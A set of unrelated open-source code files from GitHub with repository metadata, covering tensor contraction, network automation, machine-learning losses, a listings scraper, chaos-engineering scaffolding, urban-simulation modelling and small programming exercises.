{"seq_id":"14714386960","text":"import tncontract as tn\nimport numpy as np\n\ndef con(*args):\n    \"\"\"\n    Contract a network of tensors. Similar purpose to NCON, described in\n    arxiv.org/abs/1402.0939, but designed to work with the Tensor objects of\n    tncontract.\n\n    Examples\n    --------\n\n    >>> import tncontract as tn\n\n    For the examples below, we define three tensors\n\n    >>> A = tn.Tensor(np.random.rand(3,2,4), labels=[\"a\", \"b\", \"c\"])\n    >>> B = tn.Tensor(np.random.rand(3,4), labels=[\"d\", \"e\"])\n    >>> C = tn.Tensor(np.random.rand(5,5,2), labels=[\"f\", \"g\", \"h\"])\n\n    Contract a pair indices between two tensors \n    -------------------------------------------\n    The following contracts  pairs of indices \"a\",\"d\" and \"c\",\"e\" of tensors\n    `A` and `B`. It is identical to A[\"a\", \"c\"]*B[\"d\", \"e\"]\n\n    >>> tn.con(A, B, (\"a\", \"d\" ), (\"c\", \"e\")) \n    Tensor object: shape = (2), labels = [\"b\"]\n\n    Contract a pair of indices beloning to one tensor (internal edges)\n    ------------------------------------------------------------------\n    The following contracts the \"f\" and \"g\" indices of tensor `C`\n\n    >>> t.con(C, (\"f\", \"g\"))\n    Tensor object: shape = (2), labels = [\"h\"]\n\n    Return the tensor product of a pair of tensors\n    ----------------------------------------------\n    After all indices have been contracted, `con` will return the tensor\n    product of the disconnected components of the tensor contraction. The\n    following example returns the tensor product of `A` and `B`. \n\n    >>> tn.con(A, B) \n    Tensor object: shape = (3, 2, 4, 3, 4), labels = [\"a\", \"b\", \"c\", \"d\", \"e\"]\n\n    Contract a network of several tensors\n    -------------------------------------\n    It is possible to contract a network of several tensors. Internal edges are\n    contracted first then edges connecting separate tensors, and then the\n    tensor product is taken of the disconnected components resulting from the\n    contraction. Edges between separate tensors are contracted in the order\n    they appear in the argument list. The result of the example below is a\n    scalar (since all indices will be contracted). \n\n    >>> tn.con(A, B, C, (\"a\", \"d\" ), (\"c\", \"e\"), (\"f\", \"g\"), (\"h\", \"b\"))  \n\n    Notes\n    -----\n    Lists of tensors and index pairs for contraction may be used as arguments. \n    The following example contracts 100 rank 2 tensors in a ring with periodic\n    boundary conditions. \n    >>> N=100\n    >>> A = tn.Tensor(np.random.rand(2,2), labels=[\"left\",\"right\"])\n    >>> tensor_list = [A.suf(str(i)) for i in range(N)]\n    >>> idx_pairs = [(\"right\"+str(j), \"left\"+str(j+1)) for j in range(N-1)]\n    >>> tn.con(tensor_list, idx_pairs, (\"right\"+str(N-1), \"left0\"))\n    \"\"\"\n\n    tensor_list = []\n    contract_list = []\n    for x in args:\n        #Can take lists of tensors/contraction pairs as arguments\n        if isinstance(x, list):\n            if isinstance(x[0], tn.Tensor):\n                tensor_list.extend(x)\n            else:\n                contract_list.extend(x)\n\n        elif isinstance(x, tn.Tensor):\n            tensor_list.append(x)\n        else:\n            contract_list.append(x)\n\n    tensor_list = [t.copy() for t in tensor_list] #Unlink from memory\n    all_tensor_indices = [t.labels for t in tensor_list]\n\n    #Check that all no index is specified in more than one contraction\n    contracted_indices = [item for pair in contract_list for item in pair]\n    if len(set(contracted_indices)) != len(contracted_indices):\n        raise ValueError(\"Index found in more than one contraction pair.\")\n\n    index_lookup = {}\n    for i,labels in enumerate(all_tensor_indices):\n        for lab in labels:\n            if lab in index_lookup.keys():\n                raise ValueError(\"Index label \"+lab+\" found in two tensors.\"+\n                        \" Tensors must have unique index labelling.\")\n            index_lookup[lab] = i\n\n    internal_contract = [] #Indicies contracted within the same tensor\n    pairwise_contract = [] #Indicies contracted between different tensors\n    tensor_pairs = [] \n    tensors_involved = set()\n    for c in contract_list:\n        if index_lookup[c[0]] == index_lookup[c[1]]:\n            internal_contract.append(c)\n        else:\n            #Takes into account case where multiple indices from a pair of\n            #tensors are contracted (will contract in one call to np.dot)\n            #TODO: Better to flatten first?\n            if (tuple(np.sort((index_lookup[c[0]],index_lookup[c[1]]))) \n                    in tensor_pairs):\n                idx = tensor_pairs.index((index_lookup[c[0]],\n                    index_lookup[c[1]]))\n                if not isinstance(pairwise_contract[idx][0], list):\n                    pairwise_contract[idx][0] = [pairwise_contract[idx][0]]\n                    pairwise_contract[idx][1] = [pairwise_contract[idx][1]]\n                pairwise_contract[idx][0].append(c[0])\n                pairwise_contract[idx][1].append(c[1])\n            else:\n                pairwise_contract.append(list(c))\n                tensor_pairs.append(tuple(np.sort((index_lookup[c[0]],index_lookup[c[1]]))))\n                tensors_involved.add(index_lookup[c[0]])\n                tensors_involved.add(index_lookup[c[1]])\n\n    #Contract all internal indices\n    for c in internal_contract:\n        tensor_list[index_lookup[c[0]]].trace(c[0], c[1])\n\n    #Contract pairs of tensors \n    connected_component = [i for i in range(len(tensor_list))]\n    for c in pairwise_contract:\n\n        if isinstance(c[0], list): \n            #Case where multiple indices of two tensors contracted\n            d=index_lookup[c[0][0]] \n            e=index_lookup[c[1][0]]\n        else:\n            d=index_lookup[c[0]] \n            e=index_lookup[c[1]]\n\n        if d==e:\n            tensor_list[d].trace(c[0],c[1])\n        else:\n            if d<e:\n                tensor_list[d]=tn.contract(tensor_list[d], tensor_list[e],\n                        c[0], c[1])\n                connected_component[e]=d\n            else:\n                tensor_list[e]=tn.contract(tensor_list[e], tensor_list[d],\n                        c[1], c[0])\n                connected_component[d]=e\n            #Tensor in index_lookup refer to the first tensor \n            #in which the label appers in the list \n            for lab in tensor_list[min(d,e)].labels: \n                index_lookup[lab]=min(d,e) \n\n    #Take the tensor product of all the disconnected components\n    return tn.tensor_product(*[tensor_list[connected_component.index(x)] \n        for x in set(connected_component)])\n","repo_name":"andrewdarmawan/tncontract","sub_path":"tncontract/tncon.py","file_name":"tncon.py","file_ext":"py","file_size_in_byte":6511,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"36"}
{"seq_id":"18286900729","text":"#!/usr/bin/env python\n\nfrom nornir import InitNornir\nfrom nornir.core.filter import F\nfrom nornir.plugins.tasks.networking import netmiko_send_command\nfrom nornir.plugins.functions.text import print_result\n\nDEFAULT_GATEWAY = (\"10.220.88.1\")\n\ndef exercise_3():\n    \"\"\"Get ip arp and format results\n         takeaways: multigroup filters, netmiko_send_command, filtering parsed results\n    \"\"\"\n    ios_filt = F(groups__contains=\"ios\")\n    eos_filt = F(groups__contains=\"eos\")\n    nr = InitNornir(config_file=\"config.yaml\")\n    nr = nr.filter(ios_filt | eos_filt)\n    cmd = \"show ip arp\"\n    result = nr.run(\n        task=netmiko_send_command,\n        command_string=cmd\n    )\n\n    parsed_res = []\n\n    # get just the DG line\n    for host, dd in result.items():\n        output = dd[0].result\n        for line in output.splitlines():\n            if DEFAULT_GATEWAY in line:\n                parsed_res.append({host:line}) # this is better done with a tuple, see exercise4\n\n    # print table-like result\n    # this is better done with a tuple, see exercise4\n    for res in parsed_res:\n        for k,v in res.items():\n            print(f\"Host: {k} || Gateway: {v}\")\n\ndef main():\n    exercise_3()\n\nif __name__==\"__main__\":\n    main()","repo_name":"nixnerd2038/nornir_class","sub_path":"class2/ex3/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"11238998418","text":"# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\nimport tensorlayer as tl\nimport tensorflow.contrib.slim as slim\nimport numpy as np\n\n\ndef boundary_process(boxes, img_shape):\n\n    xmin, ymin, xmax, ymax = tf.unstack(boxes, axis=1)\n    img_h, img_w = img_shape[1], img_shape[2]\n\n    xmin = tf.maximum(xmin, 0.0)\n    xmin = tf.minimum(xmin, tf.cast(img_w, tf.float32))\n\n    ymin = tf.maximum(ymin, 0.0)\n    ymin = tf.minimum(ymin, tf.cast(img_h, tf.float32))  # avoid xmin > img_w, ymin > img_h\n\n    xmax = tf.minimum(xmax, tf.cast(img_w, tf.float32))\n    ymax = tf.minimum(ymax, tf.cast(img_h, tf.float32))\n\n    return tf.stack([xmin, ymin, xmax, ymax], axis=1)","repo_name":"rainofmine/Faster_RCNN","sub_path":"lib/boxes/boundary_process.py","file_name":"boundary_process.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"74853087783","text":"# Ваша задача\n# Написать скрипт для расчета корреляции Пирсона между\n# двумя случайными величинами (двумя массивами). Можете\n# использовать любую парадигму, но рекомендую использовать\n# функциональную, т.к. в этом примере она значительно\n# упростит вам жизнь.\n\n\nfrom typing import List\nfrom math import sqrt\n\n\ndef correlation_pearson(array_1: List[float], array_2: List[float]) -> float:\n    \"\"\" Расчет корреляции Пирсона между двумя массивами. \"\"\"\n\n    if len(array_1) != len(array_2):\n        raise ValueError(\"Длина массивов должна быть одинаковой\")\n\n    n = len(array_1)\n\n    average_1 = sum(array_1) / n\n    average_2 = sum(array_2) / n\n\n    covariance = sum((array_1[i] - average_1) *\n                     (array_2[i] - average_2) for i in range(n))\n    variance_array_1 = sum((x - average_1) ** 2 for x in array_1)\n    variance_array_2 = sum((y - average_2) ** 2 for y in array_2)\n\n    correlation = covariance / \\\n        (sqrt(variance_array_1) * sqrt(variance_array_2))\n\n    return round(correlation)\n\n\narr_1 = [1, 2, 3, 4, 5, 6, 7, 8, 9]\narr_2 = [9, 8, 7, 6, 5, 4, 3, 2, 1]\n\ncorrelation = correlation_pearson(arr_1, arr_2)\nprint(f\"Расчёт корреляции Пирсона = {correlation}\")\n","repo_name":"goodninja/paradigm-hw04","sub_path":"task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"16306256417","text":"import requests\r\nimport random\r\nimport lxml.etree as le\r\nimport xlwt\r\n\r\nproxies_pool=[\r\n    {'http':'202.109.157.61:9000'},\r\n    {'http':'222.74.73.202:42055'},\r\n    {'http':'202.109.157.60:9000'},\r\n    {'http':'27.42.168.46:55481'},\r\n    {'http':'182.139.111.149:9000'}\r\n]\r\nproxies=random.choice(proxies_pool)\r\n\r\nheaders={\r\n    'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36 Edg/108.0.1462.76'\r\n}\r\n\r\n#url='https://m.ke.com/wh/loupan/p_whesscblhhv/'\r\n\r\nurl='https://m.ke.com/wh/loupan/'\r\nresps=requests.get(url=url,headers=headers,proxies=proxies)\r\nprint(resps.status_code)\r\nresps.encoding=resps.apparent_encoding\r\ncont=resps.text\r\n\r\ntr=le.HTML(cont)\r\npage_link=tr.xpath('//div[@class=\"shell-resblock-card\"]/a/@href')\r\n#print(page_link)\r\n\r\ntitle_data=[]\r\nadvantage_data=[]\r\nprice_data=[]\r\nsize_s_data=[]\r\ntype_s_data=[]\r\nstructure_data=[]\r\naddress_data=[]\r\n\r\nfor x in range(len(page_link)):\r\n    link=page_link[x]\r\n    new_link='https://m.ke.com'+link\r\n    #print(new_link)\r\n    #print(len(page_link))\r\n\r\n    resp=requests.get(url=new_link,headers=headers,proxies=proxies)\r\n    #print(resp.status_code)\r\n    resp.encoding=resp.apparent_encoding\r\n    con=resp.text\r\n\r\n    tr=le.HTML(con)\r\n    title=tr.xpath('//div[@class=\"title-wrapper resblock-name-line\"]/h1/text()')\r\n    advantage=tr.xpath('//div[@class=\"tag-wrapper\"]/span/text()')\r\n    price=tr.xpath('//*[@class=\"price-value item\"]/text()')\r\n    size_s=tr.xpath('//div[@class=\"address-value item\"]/text()')[0]\r\n    type_s=tr.xpath('//div[@class=\"address-value item\"]/text()')[1]\r\n    structure=tr.xpath('//div[@class=\"address-value item\"]/text()')[2]\r\n    address=tr.xpath('//div[@class=\"address-open-date\"]/a/text()')\r\n    \r\n    title_data.append(title)\r\n    advantage_data.append(advantage)\r\n    price_data.append(price)\r\n    size_s_data.append(size_s)\r\n    type_s_data.append(type_s)\r\n    structure_data.append(structure)\r\n    address_data.append(address)\r\n\r\n#print(advantage_data)\r\n    \r\nbook=xlwt.Workbook(encoding='utf-8',style_compression=0)\r\nsheet=book.add_sheet('武汉新房信息表',cell_overwrite_ok=True)\r\ncol=['名称','优势','均价','面积','户型','结构','地址']\r\n  \r\n#写入每一列\r\nfor i in range(7):\r\n    sheet.write(0,i,col[i])\r\n\r\n#写入每一行\r\nfor n in range(len(title_data)):\r\n    sheet.write(n+1,0,title_data[n]) \r\n    sheet.write(n+1,1,advantage_data[n]) \r\n    sheet.write(n+1,2,price_data[n]) \r\n    sheet.write(n+1,3,size_s_data[n]) \r\n    sheet.write(n+1,4,type_s_data[n]) \r\n    sheet.write(n+1,5,structure_data[n]) \r\n    sheet.write(n+1,6,address_data[n]) \r\n\r\nbook.save('E:\\素材\\素材\\武汉新房信息表.xls')\r\n\r\nprint('save end')","repo_name":"githubopenlink/project","sub_path":"自己独立完成的项目/爬取贝壳网.py","file_name":"爬取贝壳网.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"26211371571","text":"import sys\nsys.stdin = open('input.txt')\n\n# 나와야 하는 결과 \n#1 1  #2 4  #3 11\nT = int(input()) # 3\n\nfor tc in range(1, T+1):\n\n    # V: 노드수  E : 간선수\n    text = input()\n    # print(text)\n\n    stack = []\n\n    for word in text:\n        stack.append(word)\n        if len(stack) == 1:\n            continue\n        # 마지막 1,2번째 글자가 같으면 2개 pop\n        elif stack[-1] == stack[-2]:\n            # stack[len(stack)-1], stack[len(stack)-2]\n            stack.pop()\n            stack.pop()\n\n    print(f'#{tc} {len(stack)}')\n           \n","repo_name":"hong00009/algo","sub_path":"swea/4873_delstr/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"26608902459","text":"# 一万个小时学习Python\n# 累计学习1个小时\n# 开发时间：2022/5/5 14:33\na=4\nfor item in 'python':#第一次取出来是的P，把P赋值给item,第二次取出的是y，赋值给item\n        a+=4\nprint(item)\n\n#range()产生一个整数序列，————》也是一个可迭代数列\n\nfor i in range(1,10):\n    print(i)\n\n#如果用不到自定义变量，可将自定义变量缩写为“_”\nfor _ in range(5):\n    print(\"人生苦短，我要学python\")#0,1,2,3,4\n\n","repo_name":"wuji8626/py_code","sub_path":"chap5/for-in cycle.py","file_name":"for-in cycle.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"16636252005","text":"from typing import Optional\nfrom torch import nn, Tensor\nimport torch.nn.functional as F\nimport torch\n\n__all__ = [\"FocalCosineLoss\"]\n\n\nclass FocalCosineLoss(nn.Module):\n    \"\"\"\n    Implementation Focal cosine loss from the \"Data-Efficient Deep Learning Method for Image Classification\n    Using Data Augmentation, Focal Cosine Loss, and Ensemble\" (https://arxiv.org/abs/2007.07805).\n\n    Credit: https://www.kaggle.com/c/cassava-leaf-disease-classification/discussion/203271\n    \"\"\"\n\n    def __init__(self, alpha: float = 1, gamma: float = 2, xent: float = 0.1, reduction=\"mean\"):\n        super(FocalCosineLoss, self).__init__()\n        self.alpha = alpha\n        self.gamma = gamma\n        self.xent = xent\n        self.reduction = reduction\n\n    def forward(self, input: Tensor, target: Tensor) -> Tensor:\n        cosine_loss = F.cosine_embedding_loss(\n            input,\n            torch.nn.functional.one_hot(target, num_classes=input.size(-1)),\n            torch.tensor([1], device=target.device),\n            reduction=self.reduction,\n        )\n\n        cent_loss = F.cross_entropy(F.normalize(input), target, reduction=\"none\")\n        pt = torch.exp(-cent_loss)\n        focal_loss = self.alpha * (1 - pt) ** self.gamma * cent_loss\n\n        if self.reduction == \"mean\":\n            focal_loss = torch.mean(focal_loss)\n\n        return cosine_loss + self.xent * focal_loss\n","repo_name":"BloodAxe/pytorch-toolbelt","sub_path":"pytorch_toolbelt/losses/focal_cosine.py","file_name":"focal_cosine.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":1447,"dataset":"github-code","pt":"36"}
{"seq_id":"19653732606","text":"from jinja2 import Environment, FileSystemLoader, select_autoescape\nimport yaml\nimport os\nimport sys\nimport argparse\n\n'''\nTODO: \n  1. No try-catch blocks have been used to account for empty/uninitialized params in attributes.yaml\n\n  2. Add basic unit/bdd tests (manually checked currently) & necessary code refactor to facilitate this: \n\n     a. (positive) Verify creation of CSV for --generate_type=chart\n     b. (positive) Verify creation of CSV using category name for --generate_type=experiment\n     c. (positive) Verify creation of business logic, job & experiment CRs for --generate_type=experiment\n     d. (negative) Verify validation/err-handle upon empty name, category attributes\n'''\n\n'''\nNOTES: \n  1. Category attribute is expected to match with chart names(though not mandatory), as per convention \n     followed in litmuschaos/chaos-charts\n'''\n\n\n# generate_csv creates the chartserviceversion manifest\ndef generate_csv(csv_parent_path, csv_name, csv_config, litmus_env):\n    csv_filename = csv_parent_path + '/' + csv_name + '.' + 'chartserviceversion.yaml'\n\n    # Load Jinja2 template\n    template = litmus_env.get_template('./templates/chartserviceversion.tmpl')\n    output_from_parsed_template = template.render(csv_config)\n    with open(csv_filename, \"w+\") as f:\n        f.write(output_from_parsed_template)\n\n# generate_chart creates the experiment-custom-resource manifest\ndef generate_chart(chart_parent_path, chart_config, litmus_env):\n    chart_filename = chart_parent_path + '/' + 'experiment.yaml'\n\n    # Load Jinja2 template\n    template = litmus_env.get_template('./templates/experiment_custom_resource.tmpl')\n    output_from_parsed_template = template.render(chart_config)\n    with open(chart_filename, \"w+\") as f:\n        f.write(output_from_parsed_template)\n\n# generate_rbac creates the rbac for the experiment\ndef generate_rbac(chart_parent_path, chart_config, litmus_env):\n    rbac_filename = chart_parent_path + '/' + 'rbac.yaml'\n\n    # Load Jinja2 template\n    template = litmus_env.get_template('./templates/experiment_rbac.tmpl')\n    output_from_parsed_template = template.render(chart_config)\n    with open(rbac_filename, \"w+\") as f:\n        f.write(output_from_parsed_template)\n\n# generate_engine creates the chaos engine for the experiment\ndef generate_engine(chart_parent_path, chart_config, litmus_env):\n    engine_filename = chart_parent_path + '/' + 'engine.yaml'\n\n    # Load Jinja2 template\n    template = litmus_env.get_template('./templates/experiment_engine.tmpl')\n    output_from_parsed_template = template.render(chart_config)\n    with open(engine_filename, \"w+\") as f:\n        f.write(output_from_parsed_template)\n\n# generate_job creates the experiment job manifest\ndef generate_job(job_parent_path, job_name, job_config, litmus_env):\n    job_filename = job_parent_path + '/' + job_name + '_' + 'k8s_job.yml'\n\n    # Load Jinja2 template\n    template = litmus_env.get_template('./templates/experiment_k8s_job.tmpl')\n    output_from_parsed_template = template.render(job_config)\n    with open(job_filename, \"w+\") as f:\n        f.write(output_from_parsed_template)\n\n# generate_ansible_logic creates the ansible_logic manifest\ndef generate_ansible_logic(ansible_logic_parent_path, ansible_logic_name, ansible_logic_config, litmus_env):\n    ansible_logic_filename = ansible_logic_parent_path + '/' + ansible_logic_name + '_' + 'ansible_logic.yml'\n\n    # Load Jinja2 template\n    template = litmus_env.get_template('./templates/experiment_ansible_logic.tmpl')\n    output_from_parsed_template = template.render(ansible_logic_config)\n    with open(ansible_logic_filename, \"w+\") as f:\n        f.write(output_from_parsed_template)\n\n# generate_chaos_prerequisites creates the chaos_prerequisites manifest\ndef generate_chaos_prerequisites(chaos_prerequisites_parent_path, chaos_prerequisites_name, chaos_prerequisites_config, litmus_env):\n    chaos_prerequisites_filename = chaos_prerequisites_parent_path + '/' + chaos_prerequisites_name + '_' + 'ansible_prerequisites.yml'\n\n    # Load Jinja2 template\n    template = litmus_env.get_template('./templates/experiment_ansible_prerequisites.tmpl')\n    output_from_parsed_template = template.render(chaos_prerequisites_config)\n    with open(chaos_prerequisites_filename, \"w+\") as f:\n        f.write(output_from_parsed_template)\n\n# generate_package creates the package manifest\ndef generate_package(package_parent_path, package_name):\n    package_filename = package_parent_path + '/' + package_name + '.' + 'package.yaml'\n    print(package_filename)\n    with open(package_filename, \"w+\") as f:\n        f.write('packageName: ' + package_name + '\\n' + 'experiments:')\n\ndef main():\n    # Required Arguments \n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-a\", \"--attributes_file\", required=True, \n                        help=\"metadata to generate chartserviceversion yaml\")\n    parser.add_argument(\"-t\", \"--generate_type\", required=True, \n                        help=\"scaffold a new chart or experiment into existing chart\")\n    # Optional Arguments\n    parser.add_argument(\"-c\", \"--chart_name\", required=False,\n                        help=\"existing chart name to which experiment belongs, defaults to 'category' in attributes file\")\n\n    args = parser.parse_args()\n\n    entity_metadata_source = args.attributes_file\n    entity_type = args.generate_type\n    entity_parent = args.chart_name\n\n    # Load data from YAML file into a dictionary\n    config = yaml.load(open(entity_metadata_source))\n    entity_name = config['name']\n\n    # Store the litmus root from bootstrap folder\n    litmus_root = os.path.abspath(os.path.join(\"..\", os.pardir))\n    #env = Environment(loader = FileSystemLoader('./'), trim_blocks=True, lstrip_blocks=True, autoescape=True)\n    env = Environment(loader = FileSystemLoader('./'), trim_blocks=True, lstrip_blocks=True, autoescape=select_autoescape(['yaml']))\n\n    # if generate_type is chart, only create the chart(top)-level CSV & package manifests \n    if entity_type == 'chart':\n        chart_dir = litmus_root + '/experiments/' + entity_name\n        if os.path.isdir(chart_dir) != True:\n            os.makedirs(chart_dir)\n        generate_csv(chart_dir, entity_name, config, env) \n        generate_package(chart_dir, entity_name)\n\n    # if generate_type is experiment, create the litmusbook arefacts (job, playbook, cr)\n    elif entity_type == 'experiment':\n        # if chart_name is not explicitly provided, use \"category\" from attributes.yaml as chart\n        if entity_parent is None:\n            experiment_category = config['category']\n            chart_dir = litmus_root + '/experiments/' + experiment_category\n        else:\n            chart_dir = litmus_root + '/experiments/' + entity_parent\n        # if a folder with specified/derived chart name is not present, create it\n        if os.path.isdir(chart_dir) != True:\n            os.makedirs(chart_dir)\n            # generate csv for the freshly created chart folder\n            generate_csv(chart_dir, experiment_category, config, env)\n\n            # generate package for the freshly created chart folder\n            generate_package(chart_dir, experiment_category)\n\n        # create experiment folder inside the chart folder\n        experiment_dir = chart_dir + '/' + entity_name\n        if os.path.isdir(experiment_dir) != True:\n            os.makedirs(experiment_dir)\n\n        # generate experiment csv\n        generate_csv(experiment_dir, entity_name, config, env)\n\n        # generate experiment-custom-resource\n        generate_chart(experiment_dir, config, env)\n\n        # generate experiment specific rbac\n        generate_rbac(experiment_dir, config, env)\n\n        # generate experiment specific chaos engine\n        generate_engine(experiment_dir, config, env)\n\n        # generate experiment job\n        generate_job(experiment_dir, entity_name, config, env)\n\n        # generate chaos-ansible-logic\n        generate_ansible_logic(experiment_dir, entity_name, config, env)\n\n        # generate chaos-prerequisites\n        generate_chaos_prerequisites(experiment_dir, entity_name, config, env)\n\n\nif __name__==\"__main__\":\n    main()","repo_name":"litmuschaos/litmus-ansible","sub_path":"contribute/developer_guide/generate_chart.py","file_name":"generate_chart.py","file_ext":"py","file_size_in_byte":8128,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"}
{"seq_id":"4254184764","text":"\"\"\"\nProblem Statement #\nGiven ‘M’ sorted arrays, find the K’th smallest number among all the arrays.\n\nExample 1:\n\nInput: L1=[2, 6, 8], L2=[3, 6, 7], L3=[1, 3, 4], K=5\nOutput: 4\nExplanation: The 5th smallest number among all the arrays is 4, this can be verified from the merged\nlist of all the arrays: [1, 2, 3, 3, 4, 6, 6, 7, 8]\nExample 2:\n\nInput: L1=[5, 8, 9], L2=[1, 7], K=3\nOutput: 7\nExplanation: The 3rd smallest number among all the arrays is 7.\n\"\"\"\n\nfrom heapq import *\n\ndef find_Kth_smallest(lists, k):\n    min_heap = []\n    count = 1\n\n    for i in range(len(lists)):\n        heappush(min_heap, (lists[i][0], 0, lists[i]))\n\n    while len(min_heap) > 0:\n        val, curr_idx, l = heappop(min_heap)\n        if count == k:\n            return val\n        count += 1\n        next_idx = curr_idx + 1\n        if next_idx < len(l):\n            heappush(min_heap, (l[next_idx], next_idx, l))\n\n    return -1\n","repo_name":"blhwong/algos_py","sub_path":"grokking/k_way_merge/kth_smallest_in_m_sorted_lists/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"28521653857","text":"# Opus/UrbanSim urban simulation software.\r\n# Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington\r\n# See opus_core/LICENSE \r\n\r\n\r\nfrom numpy import where, logical_and\r\nfrom urbansim.models.scaling_jobs_model import ScalingJobsModel\r\n\r\nclass DistributeUnplacedJobsModel(ScalingJobsModel):\r\n    \"\"\"This model is used to place randomly (within sectors) any unplaced jobs.\r\n    \"\"\"\r\n    model_name = \"Distribute Unplaced Jobs Model\"\r\n     \r\n    def run(self, location_set, agent_set, agents_filter=None, **kwargs):\r\n        \"\"\"\r\n            'location_set', 'agent_set' are of type Dataset. The model selects all unplaced jobs which pass the given agents_filter (if any), \r\n            and passes them to ScalingJobsModel.\r\n        \"\"\"\r\n        agents_index = agent_set.get_attribute(location_set.get_id_name()[0]) <= 0\r\n        if agents_filter:\r\n            dataset_pool = kwargs.get('dataset_pool', None)\r\n            filter_values = agent_set.compute_variables([agents_filter], dataset_pool=dataset_pool)\r\n            agents_index = logical_and(agents_index, filter_values>0)\r\n        return ScalingJobsModel.run(self, location_set, agent_set, where(agents_index)[0], **kwargs)\r\n\r\n\r\nfrom opus_core.tests import opus_unittest\r\nfrom numpy import array, ma, arange, zeros\r\nfrom urbansim.datasets.gridcell_dataset import GridcellDataset\r\nfrom urbansim.datasets.job_dataset import JobDataset\r\nfrom opus_core.storage_factory import StorageFactory\r\n\r\n         \r\nclass Test(opus_unittest.OpusTestCase):        \r\n    def test_distribute_unplaced_jobs_model(self):\r\n        # Places 1750 jobs of sector 15\r\n        # gridcell       has              expected about\r\n        # 1         4000 sector 15 jobs   5000 sector 15 jobs\r\n        #           1000 sector 1 jobs    1000 sector 1 jobs \r\n        # 2         2000 sector 15 jobs   2500 sector 15 jobs\r\n        #           1000 sector 1 jobs    1000 sector 1 jobs\r\n        # 3         1000 sector 15 jobs   1250 sector 15 jobs\r\n        #           1000 sector 1 jobs    1000 sector 1 jobs\r\n        # unplaced  1750 sector 15 jobs   0\r\n        \r\n        # create jobs\r\n        \r\n        storage = StorageFactory().get_storage('dict_storage')\r\n\r\n        job_data = {\r\n            \"job_id\": arange(11750)+1,\r\n            \"sector_id\": array(7000*[15]+3000*[1]+1750*[15]),\r\n            \"grid_id\":array(4000*[1]+2000*[2]+1000*[3]+1000*[1]+1000*[2]+1000*[3]+1750*[-1])\r\n            }\r\n        \r\n        jobs_table_name = 'jobs'        \r\n        storage.write_table(table_name=jobs_table_name, table_data=job_data)\r\n        \r\n        jobs = JobDataset(in_storage=storage, in_table_name=jobs_table_name)\r\n        \r\n        storage = StorageFactory().get_storage('dict_storage')\r\n\r\n        building_types_table_name = 'building_types'        \r\n        storage.write_table(\r\n            table_name=building_types_table_name,\r\n            table_data={\r\n                \"grid_id\":arange(3)+1\r\n                }\r\n            )\r\n\r\n        gridcells = GridcellDataset(in_storage=storage, in_table_name=building_types_table_name)\r\n\r\n        # run model\r\n        model = DistributeUnplacedJobsModel(debuglevel=4)\r\n        model.run(gridcells, jobs)\r\n        # get results\r\n\r\n        # no jobs are unplaced\r\n        result1 = where(jobs.get_attribute(\"grid_id\")<0)[0]\r\n        self.assertEqual(result1.size, 0)\r\n        # the first 10000jobs kept their locations\r\n        result2 = jobs.get_attribute_by_index(\"grid_id\", arange(10000))\r\n#            logger.log_status(result2)\r\n        self.assertEqual(ma.allclose(result2, job_data[\"grid_id\"][0:10000], rtol=0), True)\r\n        \r\n        # run model with filter\r\n        # unplace first 500 jobs of sector 15\r\n        jobs.modify_attribute(name='grid_id', data=zeros(500), index=arange(500))\r\n        # unplace first 500 jobs of sector 1\r\n        jobs.modify_attribute(name='grid_id', data=zeros(500), index=arange(7000, 7501))\r\n        # place only unplaced jobs of sector 1\r\n        model.run(gridcells, jobs, agents_filter='job.sector_id == 1')\r\n        # 500 jobs of sector 15 should be unplaced\r\n        result3 = where(jobs.get_attribute(\"grid_id\")<=0)[0]\r\n        self.assertEqual(result3.size, 500)\r\n        # jobs of sector 1 are placed\r\n        result4 = jobs.get_attribute_by_index(\"grid_id\", arange(7000, 7501))\r\n        self.assertEqual((result4 <= 0).sum(), 0)\r\n        \r\nif __name__==\"__main__\":\r\n    opus_unittest.main()","repo_name":"psrc/urbansim","sub_path":"urbansim/models/distribute_unplaced_jobs_model.py","file_name":"distribute_unplaced_jobs_model.py","file_ext":"py","file_size_in_byte":4449,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"}
{"seq_id":"43223289335","text":"import unittest\n\nimport requests\nimport responses\n\n\nclass TestCase(unittest.TestCase):\n\n  @responses.activate  \n  def testExample(self):\n    responses.add(**{\n      'method'         : responses.GET,\n      'url'            : 'http://example.com/api/123',\n      'body'           : '{\"error\": \"reason\"}',\n      'status'         : 404,\n      'content_type'   : 'application/json',\n      'adding_headers' : {'X-Foo': 'Bar'}\n    })\n\n    response = requests.get('http://example.com/api/123')\n\n    self.assertEqual({'error': 'reason'}, response.json())\n    self.assertEqual(404, response.status_code)","repo_name":"tony-rsa/MyDevEnv","sub_path":"tests/requests/test_download.py","file_name":"test_download.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
